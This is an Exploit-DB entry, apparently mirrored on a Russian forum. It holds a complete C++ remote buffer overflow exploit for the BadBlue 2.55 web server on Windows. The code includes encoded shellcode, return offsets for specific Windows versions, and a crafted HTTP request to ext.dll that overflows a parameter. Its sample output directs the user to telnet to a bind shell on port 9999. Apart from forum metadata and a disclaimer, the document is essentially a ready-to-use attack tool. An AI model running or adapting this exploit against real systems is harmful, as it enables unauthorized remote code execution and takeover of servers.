- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 847
- Проверка EDB
-
- Пройдено
- Автор
- TARAKO
- Тип уязвимости
- REMOTE
- Платформа
- WINDOWS
- CVE
- N/A
- Дата публикации
- 2005-02-27
C++:
/* Badblue 2.55 Web Server remote buffer overflow
* ( Version: BadBlue Personal Edition v2.55 Date: Dec. 9, 2004 )
*
* Tested under Windows 2000 Professional SP3/SP4 Spanish
* Windows 2000 Server SP4 Spanish
* Windows XP SP1 Spanish
*
* Credits:
* Andres Tarasco (atarasco _at_ sia.es) has discovered this vulnerability
* http://lists.netsys.com/pipermail/full-disclosure/2005-February/032029.html
*
* Exploit by : Miguel Tarascó Acuña
* Tarako AT Haxorcitos.com
* Exploit Date: 26/12/2004
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Greetings to: #haxorcitos, #dsr
*
***************************************************************************
*
* D:\expl_badblue\Release>badblue.exe 192.168.1.82 80 1
*
* Badblue 2.55 Web Server - Remote buffer overflow
* Tarako AT Haxorcitos.com
*
* [i] Retrieving HTTP Server Header
* [i] Server : BadBlue/2.5
* [i] Connected : Yes
* [i] Target : Win2k Professional SP3/SP4 & Server SP4 (ext.dll)
* [i] Work : Complete
* [i] Now : telnet 192.168.1.82 9999
*
***************************************************************************/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
#define TIMEOUT 1
#define VALIDSERVER "BadBlue/2.5"
#define GETHEADER "HEAD HTTP/1.1\r\n\r\n"
#define HTTPSEND1 "GET /ext.dll?mfcisapicommand="
#define HTTPSEND2 "&page=index.htx HTTP/1.1\n\
Accept: */*\n\
Accept-Language: es\n\
Accept-Encodin: gzip, deflate\n\
User-Agent: Haxorcitos/1.0 (compatible; MSIE 6.0; Windows NT 5.0)\n\
Host: "
#define HTTPSEND3 "\nConnection: Keep-Alive\r\n\r\n"
#define LEN 500
char shellcode[]=
"\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
"\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
"\x8A\x88\xAF\x87\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
"\xD3\x4A\x8C\x88";
struct TARGETS {
int num;
char name[58];
char offset[5];
} targets[]= {
// char offset[]="\x56\x66\x46\x78"; // ntdll.dll V. 5.0.2195.6899 Windows 2k Spanish (CALL EBX)
// char offset[]="\x37\x25\x01\x10"; // ext.dll V. 1.0.0.1 (CALL EBX) Windows 2k SP4 Spanish
// char offset[]="\x3E\xFA\x02\x10"; // ext.dll V. 1.0.0.1 (FF55 0C CALL [EBP+C]) Windows XP SP1 Spanish
{ 0, "WinXP Professional SP1 (ext.dll)", "\x3E\xFA\x02\x10" }, // CALL [EBP+C]
{ 1, "Win2k Professional SP3/SP4 & Server SP4 (ext.dll)", "\x37\x25\x01\x10" }, // CALL EBX
//{ 2, "Crash", 0x41414141 }, // crash
};
char jmp[]="\xEB\x07"; // JMP $+9 (EB 07) To jump the offset
char jmpback[]="\xE9\x0D\xFE\xFF\xFF"; // JMP $-494 (E9 0DFEFFFF) To jump to the beginning of the shellcode
int CheckHeader(SOCKET s,struct sockaddr_in sa) { // Server: BadBlue/2.5
timeval tiempo;
fd_set fdset;
int leido; // Bytes leidos en el recv
char buffer[1024]; // Buffer de lectura con el recv
char version[11];
int retorno=0;
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
printf("\n [e] Error: socket():%d\n", WSAGetLastError());
return(1);
}
if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
printf("\n [e] Error: connect()");
return(1);
}
send(s,GETHEADER,strlen(GETHEADER),0);
tiempo.tv_sec=TIMEOUT; // TimeOut del Select
tiempo.tv_usec=0;
FD_ZERO( &fdset ); // Inicializa FDSet a NULL
FD_SET( s, &fdset ); // Añade el descriptor AcceptedSocket a FDSet
if ((select( s + 1 , &fdset , NULL , NULL , &tiempo )) >0) {
if (FD_ISSET(s,(fd_set FAR *)&fdset)) { // True si ConnectSocket esta en FDSet
memset(&buffer, 0, sizeof(buffer));
if ((leido=recv( s,buffer,sizeof(buffer),0 )) > 0) {
if (leido > 42) {
strncpy(version,buffer+32,strlen(VALIDSERVER));
printf("\n [i] Server : %s",version);
if (strncmp(version,VALIDSERVER,strlen(VALIDSERVER))!=0) retorno=1;
}
else retorno=1;
}
else {
printf("\n [e] Server : Unknown");
retorno=1;
}
}
}
closesocket(s);
return(retorno);
}
void main(int argc, char *argv[]) {
SOCKET s;
WSADATA HWSAdata;
struct sockaddr_in sa;
char *buffer=NULL;
UINT i;
printf("\n Badblue 2.55 Web Server - Remote buffer overflow");
printf("\n Tarako AT Haxorcitos.com\n");
if ( (argc!=4) || (atoi(argv[3])>=sizeof(targets) / sizeof(struct TARGETS))) {
printf("\n OS:",argv[0]);
for (i=0;i<(sizeof(targets) / sizeof(struct TARGETS));i++) {
printf("\n %i - %s",i,targets[i].name);
}
printf("\n\n Usage: %s <IP> <Port> <OS> \n",argv[0]);
exit(1);
}
if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) {
printf("\n [e] Error: WSAStartup():%d\n", WSAGetLastError());
exit(1);
}
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
printf("\n [e] Error: socket():%d\n", WSAGetLastError());
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(atoi(argv[2]));
sa.sin_addr.S_un.S_addr = inet_addr(argv[1]);
printf("\n [i] Retrieving HTTP Server Header");
if (CheckHeader(s,sa)==1) {
printf("\n [i] Aborting exploit\n\n");
exit(1);
}
if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
printf("\n [e] Error: connect()");
exit(1);
}
printf("\n [i] Connected : Yes");
printf("\n [i] Target : %s ",targets[atoi(argv[3])].name);
buffer=(char*)malloc(sizeof(char)*(strlen(HTTPSEND1)+strlen(HTTPSEND2)+strlen(HTTPSEND3)+strlen(argv[1])+LEN+1));
memset(buffer,0,strlen(HTTPSEND1)+strlen(HTTPSEND2)+strlen(HTTPSEND3)+strlen(argv[1])+LEN+1);
memcpy(buffer,HTTPSEND1,strlen(HTTPSEND1));
for( i=strlen(HTTPSEND1);i<(LEN+strlen(HTTPSEND1));i++) buffer[i]=(BYTE)0x90;
memcpy(buffer+strlen(HTTPSEND1),shellcode,strlen(shellcode));
memcpy(buffer+strlen(HTTPSEND1)+485,jmp,strlen(jmp));
memcpy(buffer+strlen(HTTPSEND1)+489,targets[atoi(argv[3])].offset,strlen(targets[atoi(argv[3])].offset));
memcpy(buffer+strlen(HTTPSEND1)+494,jmpback,strlen(jmpback));
memcpy(buffer+strlen(HTTPSEND1)+LEN,HTTPSEND2,strlen(HTTPSEND2));
memcpy(buffer+strlen(HTTPSEND1)+LEN+strlen(HTTPSEND2),argv[1],strlen(argv[1]));
memcpy(buffer+strlen(HTTPSEND1)+LEN+strlen(HTTPSEND2)+strlen(argv[1]),HTTPSEND3,strlen(HTTPSEND3));
send(s,buffer,strlen(buffer),0);
closesocket(s);
printf("\n [i] Work : Complete");
printf("\n [i] Now : telnet %s 9999\n",argv[1]);
}
// milw0rm.com [2005-02-27]- Источник
- www.exploit-db.com
